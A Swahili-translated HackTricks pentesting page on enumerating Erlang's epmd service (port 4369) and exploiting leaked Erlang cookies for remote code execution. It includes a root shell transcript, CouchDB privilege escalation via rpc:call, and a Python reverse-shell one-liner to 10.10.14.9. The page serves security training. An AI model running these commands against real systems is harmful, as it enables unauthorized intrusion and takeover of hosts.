hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
2024-02-11 02:13:58 +00:00

6.6 KiB

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Erlang Port Mapper Daemon (epmd) hutumika kama mratibu wa mifano iliyosambazwa ya Erlang. Inawajibika kwa kufanya ramani ya majina ya alama ya nodi kuwa anwani za mashine, kwa msingi huu inahakikisha kuwa kila jina la nodi linahusishwa na anwani maalum. Jukumu hili la epmd ni muhimu kwa mwingiliano na mawasiliano laini kati ya nodi tofauti za Erlang kwenye mtandao.

Bandari ya chaguo-msingi: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Hii hutumiwa kwa chaguo-msingi kwenye ufungaji wa RabbitMQ na CouchDB.

Uchunguzi

Kwa Mkono

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Kiotomatiki

Erlang Port Mapper Daemon (EPMD) ni huduma ya msingi katika mazingira ya Erlang ambayo inaruhusu mawasiliano kati ya mchakato wa Erlang kwenye seva tofauti. Kwa kawaida, EPMD inasikiliza kwa TCP kwenye bandari 4369.

Kwa kuzingatia umuhimu wake katika mawasiliano ya mchakato wa Erlang, EPMD inaweza kuwa hatari ikiwa imeachwa wazi au ikiwa ina udhaifu. Kwa hivyo, wakati wa kufanya pentesting, ni muhimu kuchunguza EPMD na kuchunguza ikiwa kuna njia yoyote ya kuvunja usalama.

Kuna njia kadhaa za kufanya hivyo. Moja ya njia ni kutumia nmap kuchunguza bandari 4369 kwenye anwani ya IP ya lengo. Kwa mfano, unaweza kutumia amri ifuatayo:

nmap -p 4369 <IP_address>

Ikiwa bandari 4369 imefunguliwa, hii inaweza kuashiria kuwa EPMD inafanya kazi na inaweza kupatikana. Kisha, unaweza kutumia zana kama epmd_client kuchunguza habari zaidi kuhusu EPMD na mchakato wa Erlang unaofanya kazi kwenye seva.

Kwa kumalizia, kuchunguza EPMD ni hatua muhimu katika pentesting ya mazingira ya Erlang. Kwa kutumia zana sahihi na kufanya uchunguzi wa kina, unaweza kugundua udhaifu wowote na kuchukua hatua za kurekebisha ili kuzuia uwezekano wa uvunjaji wa usalama.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Uhusiano wa Mbali

Ikiwa unaweza kuvuja kuki ya uthibitisho, utaweza kutekeleza nambari kwenye mwenyeji. Kawaida, kuki hii iko katika ~/.erlang.cookie na hutengenezwa na erlang wakati wa kuanza kwa kwanza. Ikiwa haijasahihishwa au kuwekwa kwa mkono, ni herufi za nasibu [A:Z] zenye urefu wa herufi 20.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Maelezo zaidi yanapatikana katika https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Mwandishi pia anashiriki programu ya kuvunja nguvu kuki:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

Uunganisho wa Ndani

Katika kesi hii, tutatumia CouchDB kuongeza mamlaka kwa kiwango cha ndani:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Mfano uliopatikana kutoka https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Unaweza kutumia Canape HTB machine kwa mazoezi ya jinsi ya kutumia udhaifu huu.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "kwenye bandari"
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: